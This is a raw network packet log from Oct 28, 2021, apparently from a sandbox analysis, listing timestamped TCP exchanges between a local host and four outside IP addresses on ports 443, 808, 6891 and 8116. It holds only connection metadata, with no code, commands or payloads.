Oct 28, 2021 04:53:08.514007092 CEST	443	50043	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:08.514107943 CEST	443	50043	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:08.514214039 CEST	50043	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:08.514257908 CEST	50043	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:08.521519899 CEST	50043	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:08.521567106 CEST	443	50043	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:08.675769091 CEST	50046	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:08.788036108 CEST	443	50044	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:08.788120985 CEST	443	50044	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:08.788142920 CEST	50044	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:08.788188934 CEST	50044	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:08.801934004 CEST	50044	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:08.801964998 CEST	443	50044	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:08.838001966 CEST	808	50046	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:08.838268995 CEST	50046	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:08.848776102 CEST	50046	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:09.011022091 CEST	808	50046	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:09.011255026 CEST	808	50046	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:09.011363983 CEST	50046	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:09.012717962 CEST	50046	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:09.016684055 CEST	50046	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:09.016807079 CEST	50046	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:09.148581982 CEST	50047	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:09.174768925 CEST	808	50046	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:09.178761959 CEST	808	50046	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:09.178796053 CEST	808	50046	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:09.178816080 CEST	808	50046	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:09.178829908 CEST	808	50046	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:09.178843975 CEST	808	50046	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:09.313029051 CEST	808	50047	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:09.313173056 CEST	50047	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:09.314507008 CEST	50047	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:09.478795052 CEST	808	50047	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:09.478852034 CEST	808	50047	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:09.479010105 CEST	50047	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:09.480298042 CEST	50047	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:09.484730005 CEST	50047	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:09.484885931 CEST	50047	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:09.556472063 CEST	808	50046	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:09.556505919 CEST	808	50046	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:09.556591988 CEST	50046	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:09.567003965 CEST	50046	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:09.644540071 CEST	808	50047	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:09.648951054 CEST	808	50047	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:09.648976088 CEST	808	50047	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:09.649003983 CEST	808	50047	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:09.721920013 CEST	50048	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:09.729119062 CEST	808	50046	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:09.887331963 CEST	6891	50048	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:09.887540102 CEST	50048	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:09.888385057 CEST	50048	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:10.028498888 CEST	808	50047	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:10.028532982 CEST	808	50047	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:10.028573990 CEST	50047	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:10.028598070 CEST	50047	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:10.035741091 CEST	50047	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:10.053668022 CEST	6891	50048	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:10.053750038 CEST	6891	50048	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:10.053812027 CEST	50048	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:10.058413029 CEST	50048	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:10.062642097 CEST	50048	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:10.062781096 CEST	50048	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:10.168911934 CEST	50049	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:10.200124025 CEST	808	50047	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:10.230484962 CEST	6891	50048	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:10.334191084 CEST	6891	50049	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:10.334388018 CEST	50049	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:10.335166931 CEST	50049	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:10.500327110 CEST	6891	50049	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:10.500413895 CEST	6891	50049	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:10.500487089 CEST	50049	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:10.503113031 CEST	50049	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:10.506059885 CEST	50049	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:10.506167889 CEST	50049	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:10.617753029 CEST	6891	50048	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:10.617789030 CEST	6891	50048	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:10.617818117 CEST	50048	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:10.617839098 CEST	50048	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:10.634330988 CEST	50048	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:10.671350956 CEST	6891	50049	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:10.671387911 CEST	6891	50049	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:10.671407938 CEST	6891	50049	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:10.760268927 CEST	50051	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:10.799639940 CEST	6891	50048	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:10.816472054 CEST	8116	50051	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:10.816621065 CEST	50051	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:10.823493004 CEST	50051	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:10.879678011 CEST	8116	50051	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:10.879911900 CEST	8116	50051	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:10.879985094 CEST	50051	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:10.882981062 CEST	50051	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:10.886428118 CEST	50051	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:10.886567116 CEST	50051	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:10.942650080 CEST	8116	50051	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:10.942683935 CEST	8116	50051	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:10.982391119 CEST	8116	50051	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:11.065077066 CEST	6891	50049	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:11.065120935 CEST	6891	50049	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:11.065671921 CEST	50049	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:11.070468903 CEST	50049	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:11.128329039 CEST	8116	50051	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:11.128365993 CEST	8116	50051	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:11.128492117 CEST	50051	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:11.135963917 CEST	50051	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:11.192008972 CEST	8116	50051	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:11.193559885 CEST	50052	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:11.235660076 CEST	6891	50049	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:11.247497082 CEST	8116	50052	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:11.247620106 CEST	50052	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:11.248228073 CEST	50052	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:11.266274929 CEST	50054	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:11.266326904 CEST	443	50054	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:11.267982960 CEST	50054	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:11.268896103 CEST	50054	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:11.268914938 CEST	443	50054	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:11.301812887 CEST	8116	50052	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:11.302004099 CEST	8116	50052	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:11.302109003 CEST	50052	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:11.310056925 CEST	50052	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:11.313575983 CEST	50052	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:11.313690901 CEST	50052	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:11.367379904 CEST	8116	50052	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:11.368098974 CEST	8116	50052	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:11.538513899 CEST	8116	50052	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:11.538549900 CEST	8116	50052	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:11.538659096 CEST	50052	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:11.538698912 CEST	50052	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:11.547302008 CEST	50052	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:11.601011038 CEST	8116	50052	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:11.757662058 CEST	443	50054	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:11.757766962 CEST	50054	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:11.760365963 CEST	50054	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:11.760381937 CEST	443	50054	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:11.763976097 CEST	50054	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:11.763988972 CEST	443	50054	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:11.764061928 CEST	50054	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:11.764070034 CEST	443	50054	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:11.854649067 CEST	50055	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:11.854724884 CEST	443	50055	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:11.854852915 CEST	50055	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:11.861366034 CEST	50055	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:11.861397028 CEST	443	50055	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:12.389909983 CEST	443	50055	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:12.391161919 CEST	50055	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:12.400985003 CEST	50055	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:12.401038885 CEST	443	50055	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:12.404984951 CEST	50055	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:12.405033112 CEST	443	50055	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:12.405056953 CEST	50055	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:12.405066967 CEST	443	50055	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:12.453747988 CEST	443	50054	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:12.453823090 CEST	443	50054	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:12.453955889 CEST	50054	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:12.453982115 CEST	50054	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:12.460967064 CEST	50054	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:12.461002111 CEST	443	50054	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:12.624169111 CEST	50057	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:12.785923958 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:12.788635969 CEST	50057	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:12.795124054 CEST	50057	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:12.956762075 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:12.956959963 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:12.957045078 CEST	50057	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:12.957782030 CEST	50057	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:12.962024927 CEST	50057	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:12.962142944 CEST	50057	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:13.114368916 CEST	443	50055	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:13.114469051 CEST	50055	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:13.114475965 CEST	443	50055	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:13.114542961 CEST	50055	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:13.119357109 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:13.120589972 CEST	50055	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:13.120618105 CEST	443	50055	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:13.123542070 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:13.123569012 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:13.123626947 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:13.381978035 CEST	50058	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:13.509480000 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:13.509497881 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:13.509593964 CEST	50057	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:13.509645939 CEST	50057	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:13.516891956 CEST	50057	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:13.547064066 CEST	808	50058	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:13.547271967 CEST	50058	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:13.549369097 CEST	50058	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:13.630793095 CEST	50059	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:13.678423882 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:13.714325905 CEST	808	50058	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:13.714456081 CEST	808	50058	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:13.714520931 CEST	50058	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:13.715287924 CEST	50058	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:13.719491959 CEST	50058	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:13.719649076 CEST	50058	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:13.797079086 CEST	6891	50059	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:13.797204971 CEST	50059	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:13.798095942 CEST	50059	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:13.880304098 CEST	808	50058	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:13.884448051 CEST	808	50058	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:13.884476900 CEST	808	50058	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:13.884670019 CEST	808	50058	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:13.964364052 CEST	6891	50059	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:13.964418888 CEST	6891	50059	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:13.964592934 CEST	50059	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:13.965284109 CEST	50059	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:13.969938993 CEST	50059	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:13.970084906 CEST	50059	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:14.136337042 CEST	6891	50059	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:14.136380911 CEST	6891	50059	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:14.267631054 CEST	808	50058	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:14.267663002 CEST	808	50058	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:14.267723083 CEST	50058	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:14.267771959 CEST	50058	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:14.270391941 CEST	50058	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:14.382261992 CEST	50061	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:14.435570955 CEST	808	50058	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:14.548747063 CEST	6891	50061	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:14.548914909 CEST	50061	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:14.550079107 CEST	50061	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:14.716361046 CEST	6891	50061	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:14.716463089 CEST	6891	50061	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:14.716559887 CEST	50061	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:14.717540026 CEST	50061	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:14.724421978 CEST	50061	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:14.724679947 CEST	50061	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:14.806977034 CEST	6891	50059	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:14.807010889 CEST	6891	50059	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:14.807109118 CEST	50059	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:14.815366983 CEST	50059	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:14.890721083 CEST	6891	50061	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:14.890878916 CEST	6891	50061	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:14.890896082 CEST	6891	50061	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:14.933048964 CEST	50062	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:14.982250929 CEST	6891	50059	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:14.985877037 CEST	8116	50062	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:14.991271019 CEST	50062	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:15.021461010 CEST	50062	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:15.074318886 CEST	8116	50062	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:15.074692965 CEST	8116	50062	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:15.074785948 CEST	50062	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:15.075510979 CEST	50062	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:15.078911066 CEST	50062	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:15.078942060 CEST	50062	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:15.131797075 CEST	8116	50062	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:15.269942045 CEST	6891	50061	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:15.269977093 CEST	6891	50061	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:15.270127058 CEST	50061	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:15.272711039 CEST	50061	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:15.300998926 CEST	8116	50062	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:15.301021099 CEST	8116	50062	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:15.301326990 CEST	50062	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:15.308207035 CEST	50062	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:15.360929012 CEST	8116	50062	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:15.381110907 CEST	50064	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:15.433830023 CEST	50065	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:15.433868885 CEST	443	50065	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:15.434308052 CEST	50065	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:15.434848070 CEST	50065	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:15.434870005 CEST	443	50065	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:15.436767101 CEST	8116	50064	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:15.436867952 CEST	50064	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:15.437346935 CEST	50064	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:15.439040899 CEST	6891	50061	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:15.492687941 CEST	8116	50064	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:15.492964029 CEST	8116	50064	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:15.493031979 CEST	50064	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:15.493843079 CEST	50064	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:15.497172117 CEST	50064	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:15.497276068 CEST	50064	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:15.552989006 CEST	8116	50064	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:15.553047895 CEST	8116	50064	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:15.725955963 CEST	8116	50064	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:15.725989103 CEST	8116	50064	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:15.726181984 CEST	50064	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:15.731686115 CEST	50064	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:15.788409948 CEST	8116	50064	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:15.852374077 CEST	50066	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:15.852421045 CEST	443	50066	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:15.853363991 CEST	50066	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:15.853399038 CEST	50066	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:15.853406906 CEST	443	50066	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:15.954451084 CEST	443	50065	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:15.954612970 CEST	50065	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:15.955940008 CEST	50065	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:15.955954075 CEST	443	50065	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:15.963102102 CEST	50065	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:15.963121891 CEST	443	50065	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:15.963242054 CEST	50065	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:15.963252068 CEST	443	50065	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:16.347982883 CEST	443	50066	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:16.348241091 CEST	50066	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:16.349374056 CEST	50066	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:16.349395990 CEST	443	50066	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:16.358328104 CEST	50066	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:16.358370066 CEST	443	50066	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:16.358639002 CEST	50066	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:16.358658075 CEST	443	50066	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:16.672888041 CEST	443	50065	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:16.672988892 CEST	443	50065	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:16.673001051 CEST	50065	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:16.673043013 CEST	50065	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:16.681504965 CEST	50065	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:16.681534052 CEST	443	50065	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:16.803921938 CEST	50068	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:16.965881109 CEST	808	50068	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:16.965971947 CEST	50068	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:16.966988087 CEST	50068	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:17.055708885 CEST	443	50066	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:17.055773973 CEST	50066	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:17.055784941 CEST	443	50066	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:17.055810928 CEST	443	50066	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:17.056261063 CEST	50066	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:17.062017918 CEST	50066	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:17.062037945 CEST	443	50066	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:17.129106045 CEST	808	50068	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:17.129244089 CEST	808	50068	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:17.129321098 CEST	50068	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:17.130001068 CEST	50068	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:17.133975983 CEST	50068	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:17.134109974 CEST	50068	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:17.226505041 CEST	50069	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:17.292519093 CEST	808	50068	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:17.295552015 CEST	808	50068	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:17.295696974 CEST	808	50068	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:17.295710087 CEST	808	50068	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:17.295717001 CEST	808	50068	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:17.384756088 CEST	808	50069	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:17.384893894 CEST	50069	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:17.385934114 CEST	50069	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:17.544035912 CEST	808	50069	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:17.544349909 CEST	808	50069	143.244.140.214	192.168.2.5
